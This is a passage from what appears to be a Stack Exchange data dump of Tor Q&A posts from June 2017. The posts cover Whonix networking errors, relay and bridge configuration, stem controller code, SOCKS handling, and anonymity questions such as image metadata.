19:43:22 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:43:22 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:43:38 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:43:38 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:43:38 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:43:50 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:43:50 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:43:50 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;    Jun 02 19:44:01 host dhclient[884]: DHCPREQUEST on eth0 to 192.168.122.1 port 67&#xA;    Jun 02 19:44:01 host dhclient[884]: send_packet: Operation not permitted&#xA;    Jun 02 19:44:01 host dhclient[884]: dhclient.c:2243: Failed to send 300 byte long packet over fallback interface.&#xA;&#xA;&#xA;    user@host:~$ lsb_release -a&#xA;&#xA;    No LSB modules are available.&#xA;    Distributor ID: Whonix&#xA;    Description:    Whonix GNU/Linux 8.8 (jessie)&#xA;    Release:        8.8&#xA;    Codename:       jessie&#xA;&#xA;    user@host:~$ uname -a&#xA;&#xA;    Linux host 3.16.0-4-686-pae #1 SMP Debian 3.16.43-2 (2017-04-30) i686 GNU/Linux&#xA;&#xA;    root@host:/home/user# apt-get update &amp;amp;&amp;amp; apt-get dist-upgrade -V&#xA;&#xA;    Hit http://security.debian.org jessie/updates InRelease                                                       &#xA;    Ign http://ftp.us.debian.org jessie InRelease                                               &#xA;    Hit http://deb.whonix.org jessie InRelease     &#xA;    Hit http://security.debian.org jessie/updates/main i386 Packages        &#xA;    Hit http://ftp.us.debian.org jessie Release.gpg                                     &#xA;    Hit http://deb.whonix.org jessie/main i386 Packages                   &#xA;    Hit http://security.debian.org jessie/updates/contrib i386 Packages                     &#xA;    Hit http://security.debian.org jessie/updates/non-free i386 Packages                                          &#xA;    Hit http://ftp.us.debian.org jessie Release                                                                   &#xA;    Hit http://security.debian.org jessie/updates/contrib Translation-en                                          &#xA;    Hit http://ftp.us.debian.org jessie/main i386 Packages                                                        &#xA;    Hit http://security.debian.org jessie/updates/main Translation-en                                             &#xA;    Hit http://ftp.us.debian.org jessie/contrib i386 Packages                                                     &#xA;    Hit http://security.debian.org jessie/updates/non-free Translation-en                                         &#xA;    Hit http://ftp.us.debian.org jessie/non-free i386 Packages                                                    &#xA;    Hit http://ftp.us.debian.org jessie/contrib Translation-en                                                    &#xA;    Hit http://ftp.us.debian.org jessie/main Translation-en                                                       &#xA;    Hit http://ftp.us.debian.org jessie/non-free Translation-en                                                   &#xA;    Ign http://deb.whonix.org jessie/main Translation-en_US                                                       &#xA;    Ign http://deb.whonix.org jessie/main Translation-en                                                          &#xA;    Reading package lists... Done                                                                                 &#xA;    Reading package lists... Done&#xA;    Building dependency tree       &#xA;    Reading state information... Done&#xA;    Calculating upgrade... Done&#xA;    0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17717" LastActivityDate="2017-06-03T12:02:06.460" Title="DHCPREQUEST: send_packet: Operation not permitted" Tags="|configuration|network-configuration|error|whonix|firewall|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14910" PostTypeId="1" CreationDate="2017-06-03T03:27:56.963" Score="1" ViewCount="572" Body="&lt;p&gt;I am wondering what an entry node knows about its users. I know they do not know where you are sending data or what the data is because of onion routing and encryption respectively. But, does TOR take any steps to mask how large of a message a user is sending or how many packets a user is sending? If an entry node does know how many packets and of what relative size a user is sending, would it be possible for such a node to know what protocols are being spoken?&lt;/p&gt;&#xA;" OwnerUserId="7711" LastActivityDate="2019-04-18T08:01:15.227" Title="From a metadata perspective, what does an entry node know about its clients?" Tags="|guard|entry|node|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14912" PostTypeId="2" ParentId="12424" CreationDate="2017-06-03T06:52:54.497" Score="1" Body="&lt;p&gt;Try this command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo netstat -plnt | fgrep 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and see if the port is being already used by tor. May be you have tor-browser installed and the tor package also.&lt;/p&gt;&#xA;" OwnerUserId="10366" LastActivityDate="2017-06-03T06:52:54.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14913" PostTypeId="2" ParentId="14909" CreationDate="2017-06-03T12:02:06.460" Score="1" Body="&lt;p&gt;You need to follow Whonix documentation for combining VPNs. Otherwise they conflict with Whonix's firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Tunnels/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Tunnels/Introduction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I be concerned or do anything about it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/FAQ#Am_I_compromised.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/FAQ#Am_I_compromised.3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2017-06-03T12:02:06.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14916" PostTypeId="1" CreationDate="2017-06-04T09:55:41.367" Score="0" ViewCount="292" Body="&lt;p&gt;Yesterday I may have accidentally deleted a file that Tor uses.  I tried to use Tor today and I tried to update it.  I am not able to install it at all now.  Here is the message I get &quot;No provided bridges that have the transport type obfs4 are available. Please adjust your settings.&quot;  Please help.&lt;/p&gt;&#xA;" OwnerUserId="17737" LastActivityDate="2022-03-29T23:01:30.120" Title="I can't install Tor, asking for bridge?" Tags="|help|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14917" PostTypeId="1" CreationDate="2017-06-04T13:30:57.730" Score="1" ViewCount="577" Body="&lt;p&gt;For example, someone wants to be anonymous and created a dummy Yahoo e-mail account, now he wants to send an image over the newly created email via Tor. Does this protect his anonymity? Can you someone be traced by attaching an image to emails delivered via Tor? What alternatives does he have?&lt;/p&gt;&#xA;" OwnerUserId="17740" LastEditorUserId="17740" LastEditDate="2017-06-04T16:22:28.660" LastActivityDate="2019-04-26T03:03:20.680" Title="Safe or Dangerous? Attach image to e-mail delivered via Tor" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14920" PostTypeId="1" CreationDate="2017-06-04T15:58:25.980" Score="3" ViewCount="212" Body="&lt;p&gt;I enjoy using Tor very much since discovering it. I find the biggest problem is the prevalence of child exploitation on various .onion sites, while looking for adult porn which I already feel ashamed of looking at. I didn't intend to use Tor for porn reasons and I hopefully have nailed the last nail in the coffin of this bad habit, but it makes me wonder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although Tor itself isn't responsible for this content on the websites, but at the same time is the only gateway to them, is not some responsibility in removing child pornography and other exploitation of innocent people partly their/our responsibility?  I don't agree with closing down other services, but to take the innocence of childhood and mix it with the other sections of this website is abhorrent to any decent human, and those that have problems with this need to get help.  I don't know how, as I believe that those who have this problem will find most avenues disciplining them rather than helping them overcome it, due to the stigma, even though it is an illness that needs working with.  Back on subject though, if the perspective was &quot;fix it or lose it&quot;, would Tor be more inclined to remove access to these sites that do this?&lt;/p&gt;&#xA;" OwnerUserId="17743" LastEditorUserId="88" LastEditDate="2017-06-14T19:55:29.627" LastActivityDate="2017-06-15T06:47:50.777" Title="Is Tor responsible for content on websites?" Tags="|legal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14921" PostTypeId="2" ParentId="14917" CreationDate="2017-06-04T16:08:46.397" Score="1" Body="&lt;p&gt;Safe in what way? Anonymous? The person is using Yahoo firstly with their already record-breaking feat of having the largest leak of data beaten by themselves recently. Secondly the picture itself has metadata attached. Thirdly they are sending it over an email and one that is not a secure one as highlighted by the first point. So basically, no, it isnt safe if they are attempting to be anonymous. Using Tor while giving information on a known link is not anonymous. All that happens is the IP address shows as different, but as mentioned, they are using Yahoo, let alone a common email.  May as well use a megaphone and a movie cinema.&lt;/p&gt;&#xA;" OwnerUserId="17744" LastActivityDate="2017-06-04T16:08:46.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14922" PostTypeId="2" ParentId="14917" CreationDate="2017-06-04T16:47:35.733" Score="1" Body="&lt;p&gt;For a part of the question, here is the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an email account, if you right-click on an open email you have received, you can see some of the information that is collected and gathered based on your email account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the picture, if you right click on the image, you can see the metadata attached to it.  Some metadata gives your location as a gps location, as well as date and time, which could pinpoint you to a specific place, time or event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view the metadata on your picture, one program is Darktable, which is an image editing platform. I cant share with you any alternatives as for all I know it could be a CP image or something similar and I want no part of that.  Sorry if it isn't. I'm stuck between helping and caring, but helping and caring about who as my first priority.&lt;/p&gt;&#xA;" OwnerUserId="17745" LastActivityDate="2017-06-04T16:47:35.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14923" PostTypeId="2" ParentId="14916" CreationDate="2017-06-04T16:50:27.993" Score="0" Body="&lt;p&gt;Here is a link which gives some details as to bridges.  If you scroll down towards the bottom, it provides an email to receive bridges, and it shows you on this page how to add them. &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any reason why you can't remove your current instance of TorBrowserBundle, and reinstall another one? This will ensure at least that if you deleted an important script, you can still use TorBrowser correctly.&lt;/p&gt;&#xA;" OwnerUserId="17745" LastEditorUserId="17745" LastEditDate="2017-06-04T16:55:39.060" LastActivityDate="2017-06-04T16:55:39.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14925" PostTypeId="1" CreationDate="2017-06-04T20:31:38.907" Score="1" ViewCount="556" Body="&lt;p&gt;I have Orbot installed and my tablet rooted and Orbot has been given permission to run with superuser privileges. I have chosen my apps to put on Tor through Orbot and they work fine. However, when I use the apps no data usage is reported by Orbot's system tray monitor.&#xA;How can I be sure there is no data leakage?&lt;/p&gt;&#xA;" OwnerUserId="17747" LastEditorUserId="17747" LastEditDate="2017-06-08T03:35:44.433" LastActivityDate="2017-06-08T03:35:44.433" Title="How do I know if Orbot's proxying is forcing apps to use it?" Tags="|orbot|android|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14933" PostTypeId="1" CreationDate="2017-06-07T00:51:46.523" Score="1" ViewCount="132" Body="&lt;p&gt;Recently unscrupulous marketers in the U.S. were allowed to collect data from all their customers and resell that data. That's why I'm using Tor for pretty much everything I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I only need a light type of privacy. In my case my data doesn't have to go from The Netherlands to Canada and from there to Germany (and back).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be a good idea to introduce a light version of Tor? My data would only go to one foreign IP address (and back). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage would be that Tor light should work faster since my data only needs to go to one foreign IP address. Another advantage would be that there's less Internet traffic as well, also because my data doesn't have to visit three countries before getting where it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that, when installing Tor, users could choose whether or not to use Tor light, but that that choice could be changed later in the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any reactions?&lt;/p&gt;&#xA;" OwnerUserId="17782" LastEditorUserId="88" LastEditDate="2017-06-20T11:52:48.623" LastActivityDate="2023-03-03T04:15:54.657" Title="What about Tor light?" Tags="|relays|performance|speed|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14936" PostTypeId="1" CreationDate="2017-06-07T17:21:44.933" Score="1" ViewCount="442" Body="&lt;p&gt;Following the instructions at &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;How to run multiple Tor browsers with different IPs?&lt;/a&gt; I now have multiple folders that can host a different Tor Browser instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update all of them on Ubuntu without downloading ~50 MB for each one?&lt;br&gt;&#xA;(by updating via &quot;Help&quot; --&gt; &quot;About Tor Browser&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would like to keep the &lt;em&gt;unique&lt;/em&gt; bookmarks and settings for each one. Therefore, I cannot simply copy the steps I took in the above link)&lt;/p&gt;&#xA;" OwnerUserId="17787" LastActivityDate="2017-06-09T22:12:16.487" Title="How to update Tor Browser" Tags="|tor-browser-bundle|ubuntu|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14937" PostTypeId="1" CreationDate="2017-06-07T17:49:59.050" Score="0" ViewCount="442" Body="&lt;p&gt;I set up a bridge with obfs4 and successfully tested it with the Tor Browser. It has been running for over a month now and still has no users. The normal relay I set up parallel on another server is doing fine so far with a consensus weight of 568.&#xA;Now I wonder whether I did something wrong and whether my bridge is actually going to be used some time.&#xA;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="17788" LastActivityDate="2021-12-17T22:08:15.783" Title="Bridge distribution" Tags="|bridge|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14938" PostTypeId="1" CreationDate="2017-06-07T23:24:43.393" Score="1" ViewCount="111" Body="&lt;p&gt;I want to promote the usage of Tor, but I have some visual learners who want to see Tor's connections and the paths that are taken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any visual diagnostic or learning tool that will help empower Tor users to see the connection &quot;bounce around the world&quot; so they feel safe and private? &lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2017-06-08T00:24:42.330" Title="Is it possible to visualize (on a google map) the path a Tor client takes?" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14939" PostTypeId="2" ParentId="14937" CreationDate="2017-06-07T23:26:31.173" Score="0" Body="&lt;p&gt;Have you ensured that the &lt;code&gt;PublishServerDescriptor&lt;/code&gt; setting in  &lt;code&gt;torrc&lt;/code&gt; has been set to &lt;code&gt;PublishServerDescriptor bridge&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By setting it to &lt;code&gt;bridge&lt;/code&gt; your relay will publish its descriptor&#xA;to the bridge authorities making your bridge visible to other users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vice versa, if you set &lt;code&gt;PublishServerDescriptor&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; your relay will not publish anywhere. In other words your bridge will be private. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer to &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/attic/bridges-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges-spec.txt&lt;/a&gt; to find out more about the configuration of bridges.&lt;/p&gt;&#xA;" OwnerUserId="17793" LastActivityDate="2017-06-07T23:26:31.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14940" PostTypeId="2" ParentId="14938" CreationDate="2017-06-08T00:24:42.330" Score="1" Body="&lt;p&gt;&quot;bounce around the world&quot; is not what makes Tor safe and private. It would be giving users a false sense of security. Vidalia used to do this and I'm still fighting against the false ideas it implanted in users heads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, geographic distribution is important but:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;IP addresses have &lt;em&gt;no correlation to geographic location&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You cannot know the path that the traffic takes between relays.&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser already shows the claimed location of the relays.&lt;/li&gt;&#xA;&lt;li&gt;Geo&lt;em&gt;political&lt;/em&gt; distance is more important that geo&lt;em&gt;graphic&lt;/em&gt; distance.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-08T00:24:42.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14941" PostTypeId="2" ParentId="14936" CreationDate="2017-06-08T00:35:58.537" Score="1" Body="&lt;p&gt;Download the &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.mar&lt;/code&gt; file&lt;/a&gt; and learn to use &lt;code&gt;mar-tools&lt;/code&gt; to &lt;a href=&quot;https://wiki.mozilla.org/Software_Update:Manually_Installing_a_MAR_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;manually apply the update&lt;/a&gt; for each copy of your browser.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-08T00:35:58.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14942" PostTypeId="1" CreationDate="2017-06-08T06:39:08.600" Score="1" ViewCount="65" Body="&lt;p&gt;I quote from the official &#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;em&gt;If you have at least 2 megabits/s for both upload and download, please help out Tor by configuring your Tor to be a relay too&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when i configure my tor to be a relay? Does it mean that if someone near my place/area who uses tor his/her &lt;em&gt;anonymous&lt;/em&gt; data go through my network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so even if it is encrypted can I just see what happens? What data packets are being sent. How my badnwidth is used? Anything?&lt;/p&gt;&#xA;" OwnerUserId="17795" LastActivityDate="2017-06-08T23:27:41.587" Title="Configuring my tor to be a relay" Tags="|tor-browser-bundle|relays|exit-relays|" AnswerCount="2" CommentCount="0" ClosedDate="2017-06-20T21:59:42.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="14945" PostTypeId="1" CreationDate="2017-06-08T16:00:42.050" Score="0" ViewCount="7580" Body="&lt;p&gt;The title pretty much says it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using TOR for about two years with no problems after any update…..until now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a mac(OSX 10.7.5 Lion) and while it's not the newest(or oldest), i run into very few problems. &lt;strong&gt;This one is major for me though.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, at this point, to delete the update and run the previous version? &#xA;                             Possibly somewhere in the application package contents there is something to look for??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a place to download(safely) any version pre-update? I don't see it on the TOR website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&#xA;Thanx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, This is my first time using the stack exchange so i apologize if breaking any etiquette rules.&lt;/p&gt;&#xA;" OwnerUserId="17802" LastActivityDate="2018-02-08T08:22:10.693" Title="Tor updated and now won't work on my system(OSX 10.7.5). Is there a way to get rid of that update?" Tags="|mac|update|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14947" PostTypeId="2" ParentId="14942" CreationDate="2017-06-08T18:13:27.253" Score="2" Body="&lt;p&gt;A relay could be used by anyone, anywhere in the world. They don't have to be physically near you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get relay statistics from &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17805" LastActivityDate="2017-06-08T18:13:27.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14948" PostTypeId="1" AcceptedAnswerId="14952" CreationDate="2017-06-08T18:35:04.310" Score="0" ViewCount="970" Body="&lt;p&gt;I'm trying to understand at what layer does the SOCKS proxy receive. For example, if I visit a website and make a HTTP get to the web server it is passed through via SOCKS to make the request. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At the SOCKS server or Onion Proxy, after the circuit creation, key exchanges, etc., what does it receive and how does Tor package/wrap the HTTP get request into its cell. I ask this because I created a SOCKS server and read the buffer and it outputted the application data (host, user-agent), so does Tor split those (application byte stream) into 512 bytes cells and add the respective cell headers?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then what about the TCP handshake (SYN, SYN-ACK, ACK) or TCP data transfer. Do those need to be packaged into cells as well? I ask this because does the client connect the TCP handshake or does the exit node handle that? I never quite understood the initiation process. If it's the first, then are the syn, syn-ack, ack packets sent via onion routing individually or if its the latter then does the exit node just pass the data down the stream, so that there is two connections: client onion routing to exit and exit to web server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Relating to questioon 1, how does the web server receive and interpret those cells? I'm assuming the exit node's SOCKS proxy server handling the incoming (?) and outgoing traffic somehow strips the cell data. But not really sure on the details.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Apologies for the lengthy questioning, any insights would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2APGL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2APGL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16876" LastEditorUserId="16876" LastEditDate="2017-06-08T18:49:46.210" LastActivityDate="2017-06-08T23:13:16.770" Title="What is passed to the Onion Proxy in terms of the OSI model?" Tags="|onion-routing|proxy|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14949" PostTypeId="1" CreationDate="2017-06-08T20:33:58.500" Score="0" ViewCount="11215" Body="&lt;p&gt;I started with TOR's STEM library and I am trying to make the following code work but can't figure out the reason for the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import stem&#xA;from stem.process import launch_tor&#xA;from stem.control import Controller&#xA;&#xA;&#xA;&#xA;&#xA;tor_path = &quot;.\\Tor Browser\\Browser\\TorBrowser\\Tor\\tor.exe&quot;&#xA;&#xA;def print_lines(line):&#xA;    if('Bootstrapped' in line):&#xA;        print(line)&#xA;&#xA;tor = launch_tor(tor_cmd = tor_path, init_msg_handler = print_lines)&#xA;&#xA;try:&#xA;    controller = Controller.from_port()&#xA;except stem.SocketError as exc:&#xA;    print(&quot;Unable to connect to tor on port 9051: %s&quot; % exc)&#xA;&#xA;&#xA;&#xA;&#xA;tor.kill()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Unable to connect to tor on port 9051: [WinError 10061] No connection could be made because the target machine actively refused it&lt;/p&gt;&#xA;" OwnerUserId="17761" LastActivityDate="2017-06-08T23:03:22.490" Title="WinError 10061 No connection could be made because the target machine actively refused it" Tags="|python|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14950" PostTypeId="2" ParentId="14949" CreationDate="2017-06-08T23:03:22.490" Score="1" Body="&lt;p&gt;No ControlPort is specified in the torrc that your copy of Tor is trying to read.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ControlPort PORT|unix:path|auto [flags]&lt;/p&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;p&gt;(Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;With the default of 0 meaning not to create one.&lt;/p&gt;&#xA;&lt;p&gt;Instead either specify one in the place that &lt;code&gt;tor.exe&lt;/code&gt; looks for it's &lt;code&gt;torrc&lt;/code&gt; by default or use &lt;a href=&quot;https://stem.torproject.org/api/process.html#stem.process.launch_tor_with_config&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;launch_tor_with_config&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from stem.process import launch_tor_with_config&#xA;from stem.control import Controller&#xA;&#xA;tor_path = &amp;quot;.\\Tor Browser\\Browser\\TorBrowser\\Tor\\tor.exe&amp;quot;&#xA;def print_lines(line):&#xA;    if('Bootstrapped' in line):&#xA;        print(line)&#xA;tor = launch_tor_with_config(tor_cmd = tor_path, init_msg_handler = print_lines, config = {'ControlPort': '9051'})&#xA;try:&#xA;    controller = Controller.from_port()&#xA;except stem.SocketError as exc:&#xA;    print(&amp;quot;Unable to connect to tor on port 9051: %s&amp;quot; % exc)&#xA;tor.terminate() # It is better to send a SIGTERM, since Tor will handle this and ensure it exits cleanly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-06-08T23:03:22.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14952" PostTypeId="2" ParentId="14948" CreationDate="2017-06-08T23:13:16.770" Score="3" Body="&lt;p&gt;The SOCKS proxy operates on the application layer. Therefore the answers to your questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The SOCKS proxy receives whatever you send to it via the TCP connection that is built up to the SOCKS proxy. The data is split into 512 byte sized cells and sent to the onion routers.&lt;/li&gt;&#xA;&lt;li&gt;TCP-specific packages are not being transferred via Tor. The exit node creates a TCP connection to the server and sends it whatever data you sent to the SOCKS proxy.&lt;/li&gt;&#xA;&lt;li&gt;The web server doesn't receive cells. The exit node receives the cells and forwards the included data via the TCP connection to the server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17807" LastActivityDate="2017-06-08T23:13:16.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14953" PostTypeId="2" ParentId="14942" CreationDate="2017-06-08T23:27:41.587" Score="1" Body="&lt;p&gt;If you are an Exit then peoples traffic will be visible, at least in the form it was sent into the Tor network (e.g. if they're using HTTPS youd only see their TLS tunnel, not the traffic inside of it). Actually looking at this is discouraged and violates wiretapping laws in many parts of the world. (&lt;a href=&quot;https://www.schneier.com/blog/archives/2007/11/dan_egerstad_ar.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Some not-so-bright Swedish script kiddy claimed to have &quot;hacked Tor&quot; by running an exit and intercepting peoples traffic, he was subsequently charged under Swedish law&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default if you are a relay, you will act as an Exit. If you do not wish to act as an exit point in the Tor network (where clients traffic is sent to it's intended destination) then &lt;em&gt;make absolutely sure&lt;/em&gt; that you specify &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt; configuration line that the guide you linked specifies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you have no visibility of the cells and no means of knowing what they're used for. That's the point of an anonymity network.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-08T23:27:41.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14955" PostTypeId="1" CreationDate="2017-06-09T01:43:43.257" Score="1" ViewCount="248" Body="&lt;p&gt;What was the previous TBB version doing that I wasn't seeing so many Cloudflare captchas? Something in the UA or tweaked in about:config perhaps? All I know is TBB v6.x.x was able to view sites behind cloudflare. What happened?&lt;/p&gt;&#xA;" OwnerUserId="17808" LastEditorDisplayName="user5" LastEditDate="2017-06-11T22:47:56.937" LastActivityDate="2018-11-04T11:00:35.220" Title="Cloudflare Hates TBB v7? (Not Duplicate)" Tags="|tor-browser-bundle|configuration|linux|captcha|cloudflare|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14956" PostTypeId="1" CreationDate="2017-06-09T01:45:15.673" Score="2" ViewCount="226" Body="&lt;p&gt;I am from a European country, and usually the circuits created by Tor include nearby European countries (although Tor sometimes chooses nodes from remote countries, but this is very rare). My question is: does Tor choose nodes from nearby countries by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that maybe this is due to latency: if I am in a European country, and Tor always creates circuits like: Argentina - Azerbaijan - South Africa, the connection will probably go very slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does Tor choose nodes from nearby countries by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2017-06-12T06:57:03.650" Title="Does Tor choose nodes from nearby countries to create circuits?" Tags="|circuit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
